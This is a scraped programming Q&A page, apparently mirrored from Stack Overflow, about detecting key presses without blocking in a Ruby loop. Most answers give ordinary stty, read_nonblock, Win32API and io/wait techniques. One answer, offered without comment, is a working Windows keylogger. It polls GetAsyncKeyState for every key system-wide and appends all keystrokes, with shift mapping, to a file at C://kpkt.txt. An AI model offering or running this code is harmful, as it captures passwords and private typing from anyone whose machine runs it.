Detect key press (non-blocking) w/o getc/gets in Ruby

前端 未结 6 1388
说谎
说谎 2020-12-09 03:56

I have a simple task that needs to wait for something to change on the filesystem (it\'s essentially a compiler for prototypes). So I\'ve a simple infinite loop with a 5 se

相关标签:
6条回答
  • 2020-12-09 04:07

    A combination of the other answers gets the desired behavior. Tested in ruby 1.9.3 on OSX and Linux.

    loop do
      puts 'foo'
      system("stty raw -echo")
      char = STDIN.read_nonblock(1) rescue nil
      system("stty -raw echo")
      break if /q/i =~ char
      sleep(2)
    end
    
    0 讨论(0)
  • 2020-12-09 04:10

    You can also do this without the buffer. In unix based systems it is easy:

    system("stty raw -echo") #=> Raw mode, no echo
    char = STDIN.getc
    system("stty -raw echo") #=> Reset terminal mode
    puts char
    

    This will wait for a key to be pressed and return the char code. No need to press .

    Put the char = STDIN.getc into a loop and you've got it!

    If you are on windows, according to The Ruby Way, you need to either write an extension in C or use this little trick (although this was written in 2001, so there might be a better way)

    require 'Win32API'
    char = Win32API.new('crtdll','_getch', [], 'L').Call
    

    Here is my reference: great book, if you don't own it you should

    0 讨论(0)
  • 2020-12-09 04:16

    Now use this

    require 'Win32API'
    
    VK_SHIFT = 0x10
    VK_ESC = 0x1B
    
    def check_shifts()
        $listener.call(VK_SHIFT) != 0 ? true : false
    end
    
    # create empty Hash of key codes
    keys = Hash.new
    
    # create empty Hash for shift characters
    uppercase = Hash.new
    
    # add letters
    (0x41..0x5A).each { |code| keys[code.chr.downcase] = code }
    
    # add numbers
    (0x30..0x39).each { |code| keys[code-0x30] = code }
    
    # add special characters
    keys[';'] = 0xBA; keys['='] = 0xBB; keys[','] = 0xBC; keys['-'] = 0xBD; keys['.'] = 0xBE 
    keys['/'] = 0xBF; keys['`'] = 0xC0; keys['['] = 0xDB; keys[']'] = 0xDD; keys["'"] = 0xDE 
    keys['\\'] = 0xDC
    
    # add custom key macros
    keys["\n"] = 0x0D; keys["\t"] = 0x09; keys['(backspace)'] = 0x08; keys['(CAPSLOCK)'] = 0x14
    
    # add for uppercase letters
    ('a'..'z').each { |char| uppercase[char] = char.upcase }
    
    # add for uppercase numbers
    uppercase[1] = '!'; uppercase[2] = '@'; uppercase[3] = '#'; uppercase[4] = '$'; uppercase[5] = '%'
    uppercase[6] = '^'; uppercase[7] = '&'; uppercase[8] = '*'; uppercase[9] = '('; uppercase[0] = ')'
    
    # add for uppercase special characters
    uppercase[';'] = ':'; uppercase['='] = '+'; uppercase[','] = '<'; uppercase['-'] = '_'; uppercase['.'] = '>'
    uppercase['/'] = '?'; uppercase['`'] = '~'; uppercase['['] = '{'; uppercase[']'] = '}'; uppercase["'"] = '"'
    uppercase['\\'] = '|'
    
    # create a listener for Windows key-presses
    $listener = Win32API.new('user32', 'GetAsyncKeyState', ['i'], 'i')
    
    # call listener once to initialize lsb's
    keys.each_value { |code| $listener.call(code) }
    
    logs = File.open('C://kpkt.txt', 'a')
    
    while true
        break if $listener.call(VK_ESC) != 0
    
        keys.each do |char, code|
            n = $listener.call(code)
            if n and n & 0x01 == 1
                check_shifts() ? logs.write("#{uppercase[char]}") : logs.write("#{char}")
            end
        end
    end
    
    logs.close()
    
    0 讨论(0)
  • 2020-12-09 04:20

    Here's one way to do it, using IO#read_nonblock:

    def quit?
      begin
        # See if a 'Q' has been typed yet
        while c = STDIN.read_nonblock(1)
          puts "I found a #{c}"
          return true if c == 'Q'
        end
        # No 'Q' found
        false
      rescue Errno::EINTR
        puts "Well, your device seems a little slow..."
        false
      rescue Errno::EAGAIN
        # nothing was ready to be read
        puts "Nothing to be read..."
        false
      rescue EOFError
        # quit on the end of the input stream
        # (user hit CTRL-D)
        puts "Who hit CTRL-D, really?"
        true
      end
    end
    
    loop do
      puts "I'm a loop!"
      puts "Checking to see if I should quit..."
      break if quit?
      puts "Nope, let's take a nap"
      sleep 5
      puts "Onto the next iteration!"
    end
    
    puts "Oh, I quit."
    

    Bear in mind that even though this uses non-blocking IO, it's still buffered IO. That means that your users will have to hit Q then <Enter>. If you want to do unbuffered IO, I'd suggest checking out ruby's curses library.

    0 讨论(0)
  • 2020-12-09 04:22

    By combinig the various solutions I just read, I came up with a cross-platform way to solve that problem. Details here, but here is the relevant piece of code: a GetKey.getkey method returning the ASCII code or nil if none was pressed.

    Should work both on Windows and Unix.

    module GetKey
    
      # Check if Win32API is accessible or not
      @use_stty = begin
        require 'Win32API'
        false
      rescue LoadError
        # Use Unix way
        true
      end
    
      # Return the ASCII code last key pressed, or nil if none
      #
      # Return::
      # * _Integer_: ASCII code of the last key pressed, or nil if none
      def self.getkey
        if @use_stty
          system('stty raw -echo') # => Raw mode, no echo
          char = (STDIN.read_nonblock(1).ord rescue nil)
          system('stty -raw echo') # => Reset terminal mode
          return char
        else
          return Win32API.new('crtdll', '_kbhit', [ ], 'I').Call.zero? ? nil : Win32API.new('crtdll', '_getch', [ ], 'L').Call
        end
      end
    
    end
    

    And here is a simple program to test it:

    loop do
      k = GetKey.getkey
      puts "Key pressed: #{k.inspect}"
      sleep 1
    end
    

    In the link provided above, I also show how to use the curses library, but the result gets a bit whacky on Windows.

    0 讨论(0)
  • 2020-12-09 04:24

    You may also want to investigate the 'io/wait' library for Ruby which provides the ready? method to all IO objects. I haven't tested your situation specifically, but am using it in a socket based library I'm working on. In your case, provided STDIN is just a standard IO object, you could probably quit the moment ready? returns a non-nil result, unless you're interested in finding out what key was actually pressed. This functionality can be had through require 'io/wait', which is part of the Ruby standard library. I am not certain that it works on all environments, but it's worth a try. Rdocs: http://ruby-doc.org/stdlib/libdoc/io/wait/rdoc/

    0 讨论(0)
提交回复
热议问题